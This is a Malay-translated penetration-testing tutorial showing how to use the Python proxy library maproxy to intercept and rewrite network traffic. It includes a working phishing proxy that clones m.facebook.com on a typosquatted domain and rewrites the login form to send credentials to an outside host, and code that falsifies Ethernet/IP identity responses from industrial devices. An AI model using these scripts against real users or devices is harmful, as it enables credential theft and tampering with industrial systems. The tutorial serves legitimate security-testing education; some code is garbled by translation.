Memproses data rangkaian dengan cepat

Terjemahan artikel telah disediakan pada malam permulaan kursus “Pentest. Amalan ujian penembusan".

Memproses data rangkaian dengan cepat

Anotasi

Pelbagai jenis penilaian keselamatan, bermula daripada ujian penembusan biasa dan operasi Pasukan Merah hingga menggodam peranti IoT/ICS dan SCADA, melibatkan kerja dengan protokol rangkaian binari, iaitu, pada asasnya memintas dan mengubah suai data rangkaian antara pelanggan dan sasaran. Menghidu trafik rangkaian bukanlah tugas yang sukar kerana kami mempunyai alat seperti Wireshark, Tcpdump atau Scapy, tetapi pengubahsuaian nampaknya menjadi tugas yang lebih intensif buruh kerana kami perlu mempunyai beberapa jenis antara muka untuk membaca data rangkaian, menapisnya, menukar ia dengan cepat dan menghantarnya kembali kepada hos sasaran dalam hampir masa nyata. Di samping itu, adalah sesuai jika alat sedemikian boleh berfungsi secara automatik dengan berbilang sambungan selari dan boleh disesuaikan menggunakan skrip.

Pada suatu hari saya menemui alat yang dipanggil maproxy, dokumentasi dengan cepat menjelaskan kepada saya bahawa maproxy - hanya apa yang saya perlukan. Ini adalah proksi TCP yang agak mudah, serba boleh dan mudah dikonfigurasikan. Saya menguji alat ini pada beberapa aplikasi yang agak kompleks, termasuk peranti ICS (yang menjana banyak paket) untuk melihat sama ada ia boleh mengendalikan banyak sambungan selari, dan alat itu berfungsi dengan baik.

Artikel ini akan memperkenalkan anda kepada pemprosesan data rangkaian dengan cepat menggunakan maproxy.

Mengkaji

Alat maproxy adalah berdasarkan Tornado, rangka kerja rangkaian tak segerak yang popular dan matang dalam Python.

Secara umum, ia boleh beroperasi dalam beberapa mod:

  • TCP:TCP – sambungan TCP yang tidak disulitkan;
  • TCP:SSL и SSL:TCP – dengan penyulitan sehala;
  • SSL:SSL – penyulitan dua hala.

Ia datang sebagai perpustakaan. Untuk permulaan yang cepat, anda boleh menggunakan fail contoh yang mencerminkan fail utama fungsi perpustakaan:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

Kes 1 – proksi dua arah mudah

Berdasarkan tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

По умолчанию ProxyServer() mengambil dua hujah – lokasi sambungan dan port sasaran. server.listen() mengambil satu hujah - port untuk mendengar sambungan masuk.

Melaksanakan skrip:

# python tcp2tcp.py

Untuk menjalankan ujian, kami akan menyambung ke pelayan SSH tempatan melalui skrip proksi kami, yang mendengar pada 2222/tcp port dan bersambung ke port standard 22/tcp Pelayan SSH:

Memproses data rangkaian dengan cepat

Sepanduk alu-aluan memberitahu anda bahawa skrip contoh kami telah berjaya memproksi trafik rangkaian.

Kes 2 – pengubahsuaian data

Satu lagi skrip demo logging_proxy.py sesuai untuk berinteraksi dengan data rangkaian. Komen dalam fail menerangkan kaedah kelas yang boleh anda ubah suai untuk mencapai matlamat anda:

Memproses data rangkaian dengan cepat

Perkara yang paling menarik ialah di sini:

  • on_c2p_done_read – untuk memintas data sepanjang perjalanan dari klien ke pelayan;
  • on_p2s_done_read - terbalik.

Mari cuba tukar sepanduk SSH yang pelayan kembalikan kepada pelanggan:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

Laksanakan skrip:

Memproses data rangkaian dengan cepat

Seperti yang anda lihat, pelanggan telah tersilap kerana nama pelayan SSH untuknya telah ditukar kepada «DumnySSH».

Memproses data rangkaian dengan cepat

Kes 3 – halaman web pancingan data mudah

Terdapat cara yang tidak berkesudahan untuk menggunakan alat ini. Kali ini mari kita fokus pada sesuatu yang lebih praktikal dari pihak operasi Pasukan Merah. Jom tiru landing page m.facebook.com dan gunakan domain tersuai dengan kesilapan taip yang disengajakan, contohnya, m.facebok.com. Untuk tujuan demonstrasi, anggap saja domain itu didaftarkan oleh kami.

Kami akan mewujudkan sambungan rangkaian yang tidak disulitkan dengan proksi mangsa kami dan Strim SSL ke pelayan Facebook (31.13.81.36). Untuk menjadikan contoh ini berfungsi, kami perlu menggantikan pengepala hos HTTP dan menyuntik nama hos yang betul, dan kami juga akan melumpuhkan pemampatan respons supaya kami boleh mengakses kandungan dengan mudah. Akhirnya kami akan menggantikan borang HTML supaya bukti kelayakan log masuk dihantar kepada kami dan bukannya pelayan Facebook:

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/ms/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

Secara ringkasnya:

Memproses data rangkaian dengan cepat

Seperti yang anda lihat, kami berjaya menggantikan tapak asal.

Kes 4 – Memindahkan Ethernet/IP

Saya telah berurusan dengan peranti dan perisian industri (ICS/SCADA) untuk sekian lama, seperti pengawal boleh atur cara (PLC), modul I/O, pemacu, geganti, persekitaran pengaturcaraan tangga dan banyak lagi. Kes ini untuk mereka yang suka perkara industri. Menggodam penyelesaian sedemikian melibatkan bermain secara aktif dengan protokol rangkaian. Dalam contoh berikut, saya ingin menunjukkan cara anda boleh mengubah suai trafik rangkaian ICS/SCADA.

Untuk melakukan ini, anda memerlukan yang berikut:

  • Penghidu rangkaian, contohnya, Wireshark;
  • Ethernet/IP atau hanya peranti SIP, anda boleh menemuinya menggunakan perkhidmatan Shodan;
  • Skrip kami berdasarkan maproxy.

Mula-mula, mari lihat rupa tindak balas pengenalan biasa daripada CIP (Common Industrial Protocol):

Memproses data rangkaian dengan cepat

Pengenalpastian peranti dicapai menggunakan protokol Ethernet/IP, yang merupakan versi dipertingkat bagi protokol Ethernet industri yang membungkus protokol kawalan seperti CIP. Kami akan menukar nama ID yang diserlahkan yang boleh dilihat dalam tangkapan skrin "NI-IndComm untuk Ethernet" menggunakan skrip proksi kami. Kami boleh menggunakan semula skrip logging_proxy.py dan sama mengubah suai kaedah kelas on_p2s_done_read, kerana kami mahu nama identiti yang berbeza dapat dilihat pada pelanggan.

Kod:

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

Pada asasnya, kami meminta pengecaman peranti dua kali, respons kedua adalah yang asal, dan yang pertama telah diubah suai dengan cepat.

Dan yang terakhir

Pada pendapat saya maproxy Alat yang mudah dan ringkas, yang juga ditulis dalam Python, jadi saya percaya anda juga boleh mendapat manfaat daripada menggunakannya. Sudah tentu, terdapat alat yang lebih kompleks untuk memproses dan mengubah suai data rangkaian, tetapi ia juga memerlukan lebih perhatian dan biasanya dibuat untuk kes penggunaan tertentu, mis. Muraena, Modlishka atau evilginx untuk kes yang serupa dengan yang ketiga, atau canape untuk kes terakhir. Satu cara atau yang lain, dengan bantuan maproxy anda boleh dengan cepat melaksanakan idea anda untuk memintas data rangkaian, kerana skrip contoh adalah sangat jelas.

Menguji mekanisme pengesahan dalam Windows AD

Sumber: www.habr.com

Tambah komen